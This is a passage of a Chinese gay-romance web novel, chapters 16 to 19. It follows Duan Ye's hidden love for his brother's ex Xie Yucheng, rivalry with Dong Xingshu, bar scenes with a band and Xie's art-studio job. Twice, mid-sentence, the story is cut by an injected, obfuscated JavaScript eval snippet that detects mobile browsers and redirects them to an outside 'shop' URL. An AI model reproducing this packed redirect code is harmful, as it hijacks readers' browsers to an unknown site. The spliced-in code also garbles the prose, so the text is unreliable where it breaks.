“我才不信你忘了!”段也接过围裙,“穿上,这么好看的衣裳,别弄上油了。” 谢玉承放下筷子,将围裙套在脖子上,正要去系腰上的系带。段也侧过身,修长的手指勾住系带往他后腰带去,系了个好看的蝴蝶结。 因为太热,身体有些发烫,他隐约感觉到段也在他腰上扶了一把,掌心滚烫的体温隔着衣服传递过来,脑子突然闪过多年前在酒吧的那一幕。 谢玉承一开始对摇滚没什么特别的好感,但当段也抱着电吉他出现在舞台上时,那种青春蓬勃的疯狂劲着实吸引了他的眼球。 而段也从台上下来的时候路过他的身边。 那时候他正巧起来上厕所,被那把电吉不小心撞了他一下。 段也伸手扶住他的腰,双目对上的时候,两个人谁都没在第一时间说话。 “哟,这不校草吗!刚才怎么没见着!”社团的人吼道:“要一起玩吗!” 段也松开他的腰,目光一直停留在他身上。 “那什么……”段也跟着社团的人坐了过来,手里端着一杯满满当当的酒,“刚才抱歉啊,我、我是今年刚入学的大一新生,段也,你叫我小也就可以了。” 社员的人突然起哄。 “哟!段老二你可以啊!上来就撩咱们学校的校草!” “别他妈胡说八道!我是刚刚撞到他了!”段也凶狠地冲着社团的人骂了一通,末了,他转过头时,脸上的表情又变得不知所措起来。 “承哥,你别生气,那就一群傻逼,尽会胡咧咧。” 十七八岁的少年,剪着一头干练的短发,恰好合身的黑色坎肩包裹着他流畅有力的肌肉,线条被完美衬托出来。 他的身上有一股皂香味。 酒吧昏暗的灯光下,段也的脸给人一种张扬又桀骜不驯的感觉,他的瞳色很暗,眉目深邃,仰头吞下那杯酒时,他突出的喉结上下滚动。 酒精和烟草的味道在酒吧里最为浓郁,但那股皂香味却始终在脑海中挥之不去。 “那个,能加个联系方式吗?”段也问道。 “这就没必要了吧,我们不常在学校。”董行书扶着眼镜走过来,手扶在谢玉承的肩上。 段也瞬间对他流露出一股敌意,像是压着火气道:“不影响,我只是想邀请承哥来参加我们的社团活动。” “他不喜欢摇滚。”董行书言简意赅。 那时候的段也,怼人的功夫还有点生疏,居然一时片刻不知道该怎么回呛。 董行书又道:“小学弟还是不要随随便便加别人的微信,我们家谢老师喜欢男人,和你们玩摇滚的直男不是一路人,怕吓着你。” · “今儿说好的我请,你们都坐着别动,我去买单。”谢玉承起身道。 董行书跟着站起来。 “你是听不懂人话吗?”段也敲了敲桌子。 他单手搭着椅子,唇边的笑意不达眼底,让人察觉道一股难以忽视的压迫感。 “我哥让你坐下,情敌1号。” 17.第 17 章 董行书重新坐下,慢悠悠地道:“1号?别说你整理了一个情敌名单,准备趁着谢老师单身的时候把咱们全都解决了?” “好主意。” 凳子前腿砰地一下砸在地上,段也往前凑了点,表情乖戾,“我确实应该整理一个情敌名单,但要是分威胁度的话,你应该排不进前十。” “哦?怎么说?”董行书挑眉。 “虽然你和承哥没可能,但你老是在他面前晃悠,又带着胖子和深儿给你做僚机,这点会让我很心烦。来个痛快话,你什么时候滚蛋?”段也说得直白。 锅里的炭火时不时发出噼里啪啦的响声,两个人之间的火药味直接拉满了,吹口气都能爆炸。 董行书抄着手,透明眼镜片反射出他狡黠的目光,“看起来有人苦心经营多年,钱也花了,心思也费了,还是没能把谢老师最好的朋友拉进自己的阵营。段也,你是不是有点无能了呢?” 他看上去是个好好先生,外表文质彬彬,有书生气质,但能在这个年纪当上总监的,肯定不是善类。 这点像是戳到了段也的痛处,他重重按响指节,低骂了句脏话。 “不劳你操心,我有的是钱,就当做慈善。” 侯至在旁边听地一愣一愣的,终于是弄明白了前因后果,“天,也哥,刚才那个大美人就是你暗恋对象啊?难怪珊姐劝你放弃,这么好看的人,追他的能排十条街!你压力也忒大了!” “我压力倒是不大,都已经同居了,在一起那是早晚的事儿。”段也自信满满道,刻意要把同居这件事显摆出来。 光是说还不满足,得把谢玉承在他家听他弹琴的视频照片翻出来,故弄玄虚,搞得还真像同居那么回事。 可越是显摆越显得他心虚,多少是有点自欺欺人的意思在里面了。 董行书把他当小孩儿,没当面戳破他,转头找上侯至搭话,问道:“喂,你不是混夜场的?感情方面的真真假假你应该看得出来,说说看,他俩有没有可能?” 侯至的视线在他俩之前转了一圈儿,鼓起勇气道:“也哥,不是我说话难听,这美人儿看你的眼神那叫一个慈爱,不像对你有意思。你先前对他那么暧昧他都没反应,多半是对你没兴趣的,我看这事儿悬。” 话音刚落,董行书没收住地大笑起来,单手扶住眼镜道:“小兄弟,你这话说的对极了,下回有生意我一定找你!” “老板大气!” 段也的脸黑了一大截,嗓音瞬间冷得跌进了冰窖似的,“你到底哪边的?不会说话就他妈闭嘴!” 他最烦董行书这种自以为是的人。 可偏偏这样自以为是的男人是谢玉承的室友,在一个宿舍住了四年,还是宿舍长,关系沉淀了好几年,就算他和谢玉承之间没有半点暧昧的气氛也没有恋爱的可能,光是想到他们认识的时间长一点,段也就嫉妒地要命。 那是他怎么追也追不上的时间。 董行书看透他的心思,也不惯着他,语调轻飘飘地说道:“段也,我好心提醒你一句,你那些鬼心思最好藏严实。谢老师是个什么样的人,我和深儿比你了解多了,你以为没了段三火就有你的机会?” “我今儿给你交个底。”董行书道:“深儿早些年就拿你试探过他,你确实长得合他胃口,但你是他前任的弟弟。他这人好强又好面子,最怕有人戳他脊梁骨,谁都有可能,就你没有。” “你放屁!”段也怒骂。 “那你敢表白吗!”董行书一点点地激他,指着吧台的方向道:“段也,你去试试,你敢吗?” 后桌的烤盘上轰起一团火,段也呼吸急促,气得天灵盖都要冒烟了,但还是得咬着牙强装镇定。 “我怎么不敢?我有什么不敢的?”他说话都打哆嗦。 “好。”董行书点点头,“待会儿我给你打个样儿,是男人你就直白点,别跟你哥那怂货一样叫人看不起。” 脑子里胜负欲瞬间就炸了,他感觉自己又回到当年那个被呛到没话说的时候,特窝囊,好歹对面也算半个情敌,他哪敢在情敌面前窝囊。 感情上不能窝囊的。 他喜欢谢玉承,从第一次见面那天就喜欢了。刚满十八岁的男孩儿还温吞的很,先是废了好大功夫才认识到自己喜欢的是一个男人,之后就是各种的自我拉扯和抗拒,他开始了解gay圈,可又发现自己对别的男人完全没兴趣。 他觉得自己不是gay,也不是纯直,单纯就是个喜欢上谢玉承的傻逼男大。浪漫明显的告白他还说不出口,那点让他抓心挠腮的心思就这样埋在深处自我纠缠着。 再然后,他开始明里暗里地和谢玉承接触,又是邀请他来社团,又是去买他的画,内心纠结了很长一段时间。 可当他下定决心打算表白的时候。 段三火领着谢玉承到他面前,洋洋得意地宣布两人正在谈恋爱。当时段三火比现在更傻逼,故意让他开口叫嫂子。 直到现在,那天的心情依旧记忆犹新。他先是震惊,再是不可思议,然后就是看着段三火当他面亲他喜欢的男人。 他这辈子没那么窝囊过。 他心中确信段三火是知道的,在明知自己喜欢谢玉承的情况下故意当面挑衅,就像当年段三火刚到他家时,段三火那个情妇妈当面挑衅他妈的时候一样。 段也不是没想过抢,可段三火一句‘你想当小三?’,将他那些心气全给浇熄了。 他委屈,委屈透了,又不敢把自己的心思坦白出去。 不是丢不丢脸的问题,是他怕。 他害怕同样的事情又在自己身上发生一遍,难不成又要等谢玉承分手吗?不能的。 他又怕谢玉承不喜欢他。 感情上的害怕就是窝囊,他明知这一点,可就是窝囊着害怕。 其实他能明白董行书的意思,只是他不敢承认。如果谢玉承心里真有一个恋爱意愿排行榜,那他一定不在谢玉承的选择范围内。 所有人都这样觉得,所有人都觉得谢玉承会这样想,所有人都知道谢玉承只是把他当弟弟。 要不是这样,谢玉承根本不可能同意住进他家。 表白?段也不是没想过,可他一想到后果就吓得浑身发冷。那点皱皱巴巴的暗恋就是一根羽毛,他吹口气就能把人吓跑,真要是表白,他觉得自己大概再也没可能和谢玉承见面了。 可当着情敌的面,他哪敢说不敢? 谢玉承买了单走回来,手里捏了几颗薄荷糖,他看到桌上没了人,转了个弯走到路面,一辆骑得飞快的自行车从他面前经过。 “小心!” 段也抓住他的胳膊往后拽了一步,冲着自行车破口大骂:“你他妈会不会骑车!有病啊!” 心底憋着的情绪冲着远处的空气发泄出来,段也的眉头拧地死死的。 谢玉承低低说了句没事,“他们人呢?” 段也松开他道:“没走。” “我知道没走。” 谢玉承看向周围,视野里出现一个卖花的老奶奶。奶奶装花的塑料桶已经空了,正笑呵呵地收拾东西离开。 他心里一阵狐疑,转眼就看到董行书捧着一大束玫瑰朝他走过来。 “……他这是闹哪样?”谢玉承嘴角抽了抽,有点无语。 这场面他熟地不能再熟了,内心激不起一点儿波澜。 董行书走到他面前,将玫瑰递给他。 他没接。 “给个面子?”董行书道。 谢玉承冷着脸,“给不了。” 他已经不知道拒绝过董行书多少次了,以前拒绝的时候还会感到愧疚,两个人又是同学又是舍友,抬头不见低头见的关系,想断都没法断,但拒绝也会成为一种习惯,他现在早就不愧疚了。 再说,真不真心他看得出来,至少董行书今天不是真心的。 身后,段也得意地轻哼了一声。 像是得意。 谢玉承下意识回头扯他的衣服,想问些什么。可他很快注意到这两个人之间异样的气氛,眼神落在段也身上,心就开始打鼓。 董行书的目光在段也身上快速扫了一圈,又冲着谢玉承笑道:“知道你现在没心思谈恋爱,我就是刷刷存在感,好歹让你知道我还是喜欢你,下次打算谈恋爱的时候也能把我当做备选项。” “别来这套,就这么喜欢当备胎?” 董行书兴味盎然,“给你当备胎,那也不是不行。” 他把花硬塞到谢玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678493|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承怀里,“这事儿我从不开玩笑,我喜欢你,依旧希望考虑考虑我。” 莫名其妙。 谢玉承没办法,只能接住那束玫瑰,没好气地说:“谢谢,下次我想分手的时候,你记得把这话原封不动再发我推特私信里。” 董行书不置可否地笑了笑,目光越过他,朝着段也抬了抬下巴。 “段老二,怎么说?” 段也:“……” “你俩盘算什么呢?”谢玉承狐疑道。 段也死死捏着拳头,整个人的状态看上去有点不对劲,他的唇时不时张开,像是要说什么,几次三番后,他的眼里滑过一丝挣扎,嘟囔道:“哥,没什么。” 听到这句话,谢玉承心里莫名产生了些许失落,转瞬即逝,取而代之的又是一点庆幸。 “哦。” 谢玉承把花递给他,将先前拿的薄荷糖塞进他嘴里,顺手在他脸上捏了一把。 “哥哥就先回家了,你不是晚上还有排演?” “你不打算去看看吗?”段也错愕道。 “不了,周末约好了和深儿一起去,今儿就不去了。”谢玉承道,没给段也再问的机会。 他跟着董行书去了停车场,段也一路将他送过去,怀里的花没松,不想拿,但也不想问他还要不要,就这么一直僵持着。 谢玉承上了副驾,手隔着窗户冲他摆了摆手,叮嘱他演出完早点回家休息。 透过后视镜,他能看出段也身上的落寞,发丝上都透着委屈。 “闹哪样?”他关上窗户。 董行书将车开出停车场,唇边的笑意还挂着,没说话。 “你能别逗他吗?你看他那样,可怜见的。”谢玉承抱怨道。 还好待会儿不会去酒吧,他最见不了段也委屈,真要是同路,他肯定还是会心疼地去哄。他能看出段也就是想让自己哄他,这小孩儿现在越来越鬼精了。 “得了吧,委屈都是演给你看呢,其实背地里打算刀了我。”董行书开着车,手松松握着方向盘,“不考虑考虑试试弟弟?弟弟又年轻又帅,身材也是你喜欢的。” “再离谱一点呢?阿也喜欢女生,是个直男。”谢玉承只当他是在开玩笑。 “他最好是,要不然段家能疯。”董行书瞥了他一眼,问道:“又找你了?” 谢玉承嗯了一声,拿着手机在上面敲敲打打。 一个陌生号码接连给他发了几条短信。 段焱纠缠了他很久,软硬兼施,先是骂,现在又发短信来求和,说他有东西落在家,想给他送过来。 谢玉承回了句“扔了吧。”,也没拉黑,觉得麻烦,反正段焱不死心地会再找别的号码骚扰他。 “打算什么时候搬?”董行书问。 谢玉承揉了揉眉心,“再躲躲吧,等过段时间老段消停点了再说,他现在又是找我同事,又天天去深儿那骚扰,我只能躲着。” “所以,是把段老二当挡箭牌?” “……在你心里我就是这种人?” “哪有,只是想提醒你一下,你既然觉得他是直男,那就还是注意着点。要不然,像你这么漂亮的人,天天在他面前晃悠,早晚给他掰弯。” 谢玉承靠着车窗,漫不经心道:“怎么可能。” 路灯在窗外一晃而过,他的侧脸干净流畅,鼻尖的痣妩媚地过分。 董行书叹了口气,“你以为我是怎么弯的?” 谢玉承靠着车窗,咬碎的薄荷糖在口腔里激起一阵刺激。 “等老段消停点了就搬,你不操心。” “得操心的,我怕你惹祸上身,毕竟段老二看上去比他哥更麻烦。万一他真就喜欢上你了呢?你碍于身份没法和他在一起,到时候烦心地勒,想想就麻烦。” “身份?什么身份?”谢玉承不解道。 “前男友的弟弟,你敢啊?”董行书自认为了解他。 睡了哥哥又睡弟弟,这种事别说传出去,就是在gay圈里也显得很炸裂,不可能是谢玉承的风格。 谢玉承哦了一声,“你想的周到。” 董行书勾起一抹笑意。 “我和段也当然没可能,可我什么时候说过,是因为我‘不敢''了?” 18.第 18 章 周末,‘根据地’酒吧。 舞台上扎着小辫穿着高腰短袖,露出一大截腰线的性感朋克女人就是方燕妮,她以前是个背包客,来北城没多长时间,估计也不会停留太久。 谢玉承说她是个风一样的女人,和楚深这匹野马正正适配,也就是这句话让楚深栽这女人身上了,认识第一天就去告了个白,然后那天晚上俩人就上了床。 反正都是成年人,这种事情你情我愿,原本是没什么的,可问题是楚深莫名其妙地就爱上她了,爱得晕头转向不亦乐乎,连着一段时间天天出现在酒吧,恨不得长一起。 段也不懂楚深的脑回路,觉得刚见面就上床的关系谈不上是爱情,就像是久旱的土地上下了一场电闪雷鸣的疾雨,只能解一时的渴,水还没深入地表就已经干了。 他的喜欢是小火慢炖,得精心洗米,耐心熬煮,这样熬出来的粥才是最香的,谢玉承喜欢喝他熬的粥,但看不透他的喜欢。 段也从表面上看是那种毛毛躁躁的性子,其实感情方面总是温吞又小心。想得太多,反而坏事。 这种事情旁人看得出来,可就算看出来了也不敢在谢玉承面前点破,两个人的事,旁人如果掺和进来,那就变味了。 谢玉承不喜欢掺和别人的感情,也不喜欢别人掺和他的感情,只是耐不住身边最好的朋友是个损友,不管是感情还是生活都非得让他掺和一脚。 “够味吧?”楚深看着台上那个女人,俩眼珠子都在发光。 谢玉承喝了口酒,冰块让他的神经稍微有点绷了起来,他盯着段也,点了下头,“够。” 楚深盯着他,“你说谁呢?” 谢玉承也不避讳,“阿也。” “我说燕妮。”楚深有点无语。 谢玉承点了点头,“我知道,所以你和她现在怎么样了?” 楚深叹了口气,一手搭上他,用额头撞了撞他的肩,“这不把你找过来吗?谢美人儿,给我壮壮胆呗,我想告个白。” 驻唱表演的时间结束了,音乐声停了下来。段也在台上贴着方燕妮的耳朵说了几句什么,方燕妮朝他们的方向看了过来,笑得很酷。 这家酒吧大家都熟,正巧今天乐队的人都齐,段也上台前去找谢玉承喝了一杯,这会儿就没去。 他们喜欢在前排最靠墙的那张小桌子上喝酒,隔着几个朋友,段也的目光能悄悄落在谢玉承的后背。 他手里拿着瓶冻过的酒,水顺着手心往下滴,手是冰的,眼神却很烫。他看着谢玉承的后颈,那地方很白,颈骨随着动作而轻微浮动,目光下移的时候,他几乎能隔着衣服看清谢玉承那根漂亮的脊梁—— 他其实从没见过谢玉承脱衣服,也没见过那根脊椎,可就觉得漂亮,肯定很漂亮,说不定哪节骨头上还长着痣。 段也幻想着他去吻谢玉承腰上或者脊椎上的痣,喉咙越发干燥难耐起来,耳边嘈杂的音乐声盖过了他的心跳。 这种感觉其实很奇怪,明明大家都熟,可碍着方燕妮和楚深现在的关系,几个人又没凑一起,坐了两张桌子,搞得像是故意分开一样。段也的心里跟有蚂蚁在咬似的,屁股其实坐不住,可又没敢上去。 反正都是要一起回家的关系,干嘛非得故意装不熟。 “畜牲又来找你了。”秦珊珊往侧边偏了偏,刚巧挡住了段也的目光,“他也挺孜孜不倦的,连着多久了?” 方燕妮摘下护腕,挑染成绿色的小辫垂在耳边,抬眼时扫过段也的手,“找我就找我呗,难不成叫段老板替我去打发了?” 秦珊珊一下下拨弄着桌上的骰盅,“段老板,叫你呢。” 段也没听见。 方燕妮憋着没笑,“段老板不乐意,心思早飘了。” 秦珊珊啧了一声,“没出息,他要是有你雷厉风行,哪至于现在还在单相思?” 秦姗姗和谢玉承一届,读的是经济,在校期间是音乐社的社长,毕业后就是带着乐队到处找商演。乐队里她出力最多,作曲作词都在行,谁都认她这个姐。 谢玉承在校的那几年是风云人物,A大没几个人不认识他,秦姗姗和别人不一样,没因为谢玉承那张脸就把他当神仙似的供起来,对他的态度算不上好,甚至有点糟。她觉得谢玉承矫揉造作,也就仗着有张美得不可方物的脸出圈,实际上性子矫情又好面子,装地很。 他们玩摇滚的性子都直,不喜欢弯弯绕绕,无论感情还是友情。这乐队里的男人加起来都没俩女人洒脱,秦珊珊和方燕妮都已经和男人亲嘴上床的时候,段也还在纠结要不要约谢玉承出来见面。 段也没出息得说:“是,谁有你俩进度快呢?不知道谁上回我叫我替你买验孕棒。” 秦珊珊瞧着他恶心,踹了他一脚骂道:“是不是有病?” “谁说不是呢?”段也低低道。 “你知道我最看不上你哪一点吗?”秦珊珊问。 酒吧里灯光昏暗,音乐声吵得人头疼。 段也没理她,秦珊珊有点发毛,带着点责备的语气道:“你喜欢谁不行,非得喜欢谢玉承?平常多嫌弃段三火,这会儿就乐得吃他剩下的?” 段也的脸色瞬间不好看了,“你说我就说我,你说他干嘛?” 方燕妮笑着打圆场,“行了,姗姐你喝多了。” 秦珊珊冷哼了一声。 “我喝多什么了?我就说句实话,谢玉承什么样我也是知道的,他能和段三火搞一块儿,不就看上段三火有钱吗?也就是在一起后发现段三火没表面上那么风光,又拉不下面子分手而已。” 段也刚想发火,余光就瞥见谢玉承朝他们走了过来。 他脑子立马清醒了,站起来叫了声哥。 谢玉承微微颔首,拿着酒在秦珊珊后面找了个位置坐下。 楚深乐呵地跟上来,喝了酒胆子也大了,就在挤着他们中间坐下去,“是说我家谢美人耳朵红,像是被人给骂了。敢情今天姗姐也在,不说你去外地商演了吗?” 秦珊珊冲他竖了个中指。 谢玉承抬了抬酒瓶,“喝点?” 秦姗姗拿着酒瓶在桌角一撇,瓶盖直接飞了,揶揄道:“恭喜你啊,可算是把钱还完了。” 他俩的气氛有点怪,段也眼瞅着不对,等他们喝完了之后找到楚深问了一嘴。认识的时间不短了,段也这才知道秦珊珊和谢玉承还沾亲带故。 谢家欠的钱里面有五十几万都是秦珊珊家的。 “就是有点儿过节的远房,算不上什么大不了的亲戚,以前不告诉你是因为懒得说。现在……”秦珊珊顿了顿,懒洋洋道:“也还是懒得说。” “那我说。”谢玉承一副没所谓的样子,淡淡笑了声,“算起来我应该叫表姑,之前我爸骗了她家的钱跑路,后来赶上她想出国学音乐,因为没钱,所以没去成。” 秦珊珊在这方面有天赋,要是当初有那笔钱,如今也不会只弄了个小小的乐队。 也隔了不少年了,秦珊珊提起这茬来的时候眼睛还有点酸,但毕竟这事儿不是谢玉承的原因,她也就是偶尔发两句牢骚,倒也不是真心想骂他。 两人挺久没见面,眼下钱还清了,谢玉承趁机来找她把话说开,她也不好不给面子,喝了几杯酒后也把这茬给放下了。 可听到这些,段也心里又不舒服了。像这种亲戚也还是会把恨意牵连到谢玉承身上,更别说其他不是亲戚的了。小县城出身,欠的金额太大,也不知道谢玉承这些年到底是怎么过来的。 这些已经错过的时光,是他怎么也走不进去的地方,段也不敢多提,觉得提了就是把谢玉承的伤疤血淋淋地揭下来,如果妄想用这些方式走进谢玉承的心里,那也太残忍了。 “也就是你爸现在还没消息,要是他有消息了,我都得跟你一起去手撕了他。”秦珊珊把手指摁得啪啪响。 谢玉承摇了摇头,“别,我倒是希望他一辈子没消息。” 秦珊珊还想再说,他趁借火的机会把话题给打住了。 关于以前的事,谢玉承不想提太多,提多了要伤心。 段也听了一半没听全,剩下的光凭想象,越想就越心疼,越难过俩人认识的时间太短也太晚。 桌上几个人聊着聊着不知道怎么聊了到星座上去,谢玉承中途去上了个卫生间。 “你俩居然一个星座,我他妈真没看出来。”楚深对着方燕妮道,终于是找准机会打破了两个人之间的沉默。 方燕妮若有所思道:“我也没看出来,毕竟谢老师看上去还挺温柔内敛的一人。” “那是给生活磋磨的,以前在县城里过得苦,后来上了大学慢慢好起来了,谁知道又碰上他爸欠钱跑路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690893|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来又被段三火给折腾了几年,能洒脱才怪。”秦珊珊说道。 他们一致认为,如果不是因为后来的事情,谢玉承应该会和方燕妮很相似。 热情澎湃,恣意洒脱,一个长得漂亮又有天赋的美术生,不管在学校还是社会都一定能混得顺风顺水。 “他现在已经够狐狸精的了,要是再美好一点,估计阿也的魂都能被勾走。”秦珊珊打趣道。 “该说不说,小也的魂早被勾走了吧。”方燕低着头点了支烟,“不过也正常,谢老师模样生得好看,连我看到他第一眼都喜欢他,就可惜是个gay,要不然也不会挑上小楚同学。” 楚深觉得胸口被砸了块大石头,整个人都炸了,“敢情我成备胎了?睡觉的时候你可不这样说!” “你坐你坐,咱俩的事儿之后再唠哈。”方燕妮举着烟的手往下压了压。 楚深暗骂了声,“该我怨!我活该!” “你的事好琢磨,难捉摸的是段老二的。”秦珊珊说道。 段也最近有点郁闷,自从上次被董行书那样一顿激,他越发没谱了,开始变得畏手畏脚,生怕被谢玉承发现什么,到时候连朋友都没得做。 再加上谢玉承最近工作忙了起来。 傅全升了院长,光是美院的事情就让他忙得脚不沾地,画室的事务只能全权托管给谢玉承。 接管画室后,两个人的关系慢慢淡化下来,段也不太敢下楼找他,他也不上楼找段也。 各忙各的。 有时候,段也觉得谢玉承在刻意疏远自己,但他又找不到证据。至于这种疏远是从什么时候开始的,他摸不清头脑,一方面觉得自己是不是想多了,谢玉承确实是太忙,可另一方面又觉得谢玉承瞧出点什么来。 他希望是前者,如果是后者,那他更不踏实了。 “我只说我的意见哈,谢老师估计是那种很闷骚的男人,外表冷漠内心火热,暧昧这种事情对他来说得心应手。要是哪天不想玩了呢,随时拍拍屁股走人,你都没地儿说理去。” 方燕妮抖了抖烟灰继续道:“老二,你这事儿真不好办,主要吧,你俩认识不是一天两天,我是不可能对朋友产生□□的,他又把你当弟弟,更不可能。” “要是你刚和他认识的时候就直截了当地告了白,说不定你俩现在娃都收养俩了。” 段也浑身被电打了似的,这话说到他心坎里去。 他最后悔的事情就是没能早点告白,如果一开始他不那么纠结自己是喜欢女人还是喜欢男人,那能有段三火什么机会? 楚深掐指一算,闭着眼睛装神弄鬼道:“我倒有个法子,之前我认识了一个赛博上香的博主,一千块钱一炷香,包月三万,说是能让你喜欢的人喜欢上你。要是你觉得力度不够,还能花二十万请个狐仙,叫狐仙去帮你俩牵姻缘。” 秦姗姗冷着脸,“你该不会是去上香了吧?” 楚深看了眼方燕妮,“我觉得挺管用的,她今天不就理我了吗?” “你们说什么呢?”谢玉承这时候正巧回来,隐隐约约觉得他们在说自己。 段也看了眼他,又看了眼楚深,深吸了一口气道:“没什么,就是我最近心里不舒坦,想花二十万请个狐仙,看能不能舒坦一点。” 秦珊珊没忍住笑出来,“表侄儿,要我说你就是狐仙。干脆你给他揉揉心口,那二十万咱们咱俩平分。” 谢玉承只当他们在开哪门子的玩笑,很捧场地在段也的心口摸了摸。 “好点儿了没?”他带着点酒气,眼角是微醺后的粉红,一双眸子里蒸着水,能把人瞬间蛊住。 太蛊人了。 段也的身体一下子绷紧了,在他抽开手的时候下意识抓上去,重新在自己心口的位置按了按。 谢玉承:“阿也?” 就连自己也没意识到这两个字叫得有多软。 段也的喉结上下滚了一圈,哑着嗓子道:“哥,你这狐仙不太行,我这心里,更不舒坦了。” 谢玉承苦笑道:“这也能怪上我了?” 段也盯着他那张脸,依依不舍地松开手,“当然怪……” 怎么不是早一点认识你呢。 怎么不是早一点告白呢? 段也含糊道:“哪能怪你呢?哥,我是怪我自己,我太没出息。” 19.第 19 章 手机连续响了几声,是程善微发来的消息,问他有没有什么适合写生的地方,这个问题显得刻意且刁钻,谢玉承不好敷衍,只能耐心地将地址和当地攻略发过去。 程总:[最近去看了几场大学生画展,有一些灵感想要和谢老师分享一下。如果谢老师肯赏脸,最近还听说了一家不错的海鲜餐厅,我们可以边吃饭边聊天。] 谢玉承发了个微笑的表情包过去,拿最近杂事繁忙敷衍了过去。他其实不太想搭理程善微,但耐不住是院长要求他们接触,他不好不给院长这个面子,只能不咸不淡地接触下去。 “聊什么呢这么专注?该不会是新暧昧对象吧?”赵欣怡笑嘻嘻地凑上来。 谢玉承回过神,“不是,这话你可别到处胡说,万一让我家那个小孩儿听见,又该闹脾气。” 赵欣怡是画室的前台,干了有四五年了,俩人关系一直很好,经常一起去院长家吃饭。 “哎哟,你家小孩儿,怎么谢老师叫段老二叫得这么甜呢?听起来有猫腻啊。”她煞有介事地拖长了嗓音。 谢玉承装作听不懂,“可不就是小孩儿吗?粘人地很,总觉得我那些追求对象这不好那不好的,不许我和他们暧昧。我寄人篱下,再怎么也得关照关照房东弟弟的心理状态,免得他哪天一个不高兴给我撵出去。” 他说得理直气壮,半暧昧不暧昧的,细细考究下来又觉得他是话里有话。 “真有怨气的是你才对吧?”赵欣怡笑道。 谢玉承支着下巴,打开电脑道:“是啊,成天和一个大帅哥在一块儿,想吃又不能吃,我心里燥得慌,寂寞难耐。” 赵欣怡慢慢张大了嘴巴,“这是可以说的吗?” “你不就是想听这个吗?反正我说别的你又不信。”谢玉承冲她眨了眨眼睛。 也就是平常他俩这样打趣惯了,换了别人,他肯定不敢这样说。 赵欣怡嘁了一声,拿起桌上的奶茶道:“还以为你俩真有事呢,不过也是,段也家里不还放着验孕棒吗,估计不是女朋友就是床伴,直男没跑了。敢情是真把你当哥哥,要不然就是拿你故意气他那亲哥的。” 谢玉承对此不以为意,有一搭没一搭地和她说话。 “两个都有可能咯,不过也无所谓,他拿我气他哥,我拿他当挡箭牌,谁也别说谁,扯平了。” 这话多少有点挖苦自己的意思在里面,毕竟他住在前男友弟弟的家里,这事儿别人怎么看怎么不对味,他懒得去解释那么多,就直接说是拿段也当挡箭牌了。至于段也是不是真拿自己去气段三火,这事儿他也懒得去考究,嫌麻烦,他也不是那么小心眼的人,是就是,不是就不是,也无所谓。 他现在确信段也是直男,因此把段也那些时不时的,看似撩拨的行为完全不放在心上,更不会往暧昧那方面去想,只当做是直男的某种恶趣味,他不介意不生气更不在乎,仍旧把段也当个弟弟看。 就是每天反复告诫自己,千万不能被直男给撩拨地动了心,爱上直男在gay圈是要被千人嘲万人笑的蠢事。 他一大把年纪了,不敢干蠢事,更不敢把心送到别人面前让别人伤,对感情多了几分小心谨慎。 “最近几个实习老师的表现你觉得怎么样?”赵欣怡问。 “还行吧,不上不下的。”谢玉承道。 他下午有节课,是替请假的老师代的,规整好教案后就去上课了。 小班的课,只有八个学生,上的是人体,正巧是他最擅长的部分。 “透视和构成要相结合,这样画出来的人体才更加自然。这里我可以讲几个小技巧,待会儿你们试着练一下……” 学生们将他围在中央,他拿着铅笔在纸面上如蝴蝶般翩飞,画出来的线条流畅好看,轻轻松松地就简单绘制了一个基础的人体框架。 “谢老师,我想我也没眨眼啊,怎么你画的就这么灵动了呢?”学生感叹道。 谢玉承心里咯噔一声,“那应该是我讲的不够清晰,你是哪里没听到?” 学生噗嗤一声笑了。 “不是!不是!我开玩笑的!就是觉得我画出来的和您画出来的差距好大。感觉您天生就是吃这口饭的,我们这些都是努力形学生,再怎么练也没办法做到您这么优秀。” 谢玉承对此并不赞同,“天赋是最不重要的,没人天生就会画画。你们现在只需要努力就好了,真要比天赋的话,对你们来说还太早。” 都是些十几岁的小孩儿,未来可期,不急谈天赋。 他以前也觉得自己是个很有天赋的人。 或许在老家,他确实如此,可每一个能进入A大美院的学生都有天赋,真要比,他绝对不是最有天赋的那个人。 没有努力做后盾,一切的天赋都会被消耗殆尽。 “谢老师讲的比曹矮子好多了,又温柔又有漂亮,对咱们还耐心,能不能申请把曹矮子换成谢老师啊?” “曹矮子是关系户吧?就他那德行,也能当老师?” “我是真受够了,能不能把他换走?我的画每次都被骂,搞得我都没自信了,也就谢老师会说我的画有优点。” 学生们叽叽喳喳地说话。 谢玉承坐在角落,低头翻着画室的招生计划,将这些话听在耳朵,心里觉得有点不舒服,简单维持了一下秩序。 临到下课的时候,一个身高不过一米七的男人走进来,恰好学生们又在拿他和谢玉承议论。 谢玉承刚想制止,却听到门口传来一个声音。 “嘁,谢玉承也配和我比?” 学生们齐刷刷地看过去。 “曹、曹老师……” “没事儿没事儿,你们说你们的,难不成我会担心和那种下三滥的画师比?”曹娄不屑道。 其中一个学生立马沉不住气了,“谢老师可是CAC金奖得主,你凭什么说他?!” 曹娄冷冷瞪了他一眼,“一个CAC就满足了?老子拿的奖比他多得多!你们这些小孩儿就是年轻,哪知道谢玉承以前都画些什么东西?为了赚钱那可是连脸都不要了,画了不知道多少十八禁!该说不说他人体画的是好呢,画得不好哪接得上十八禁的单呢?” “你胡说八道!” 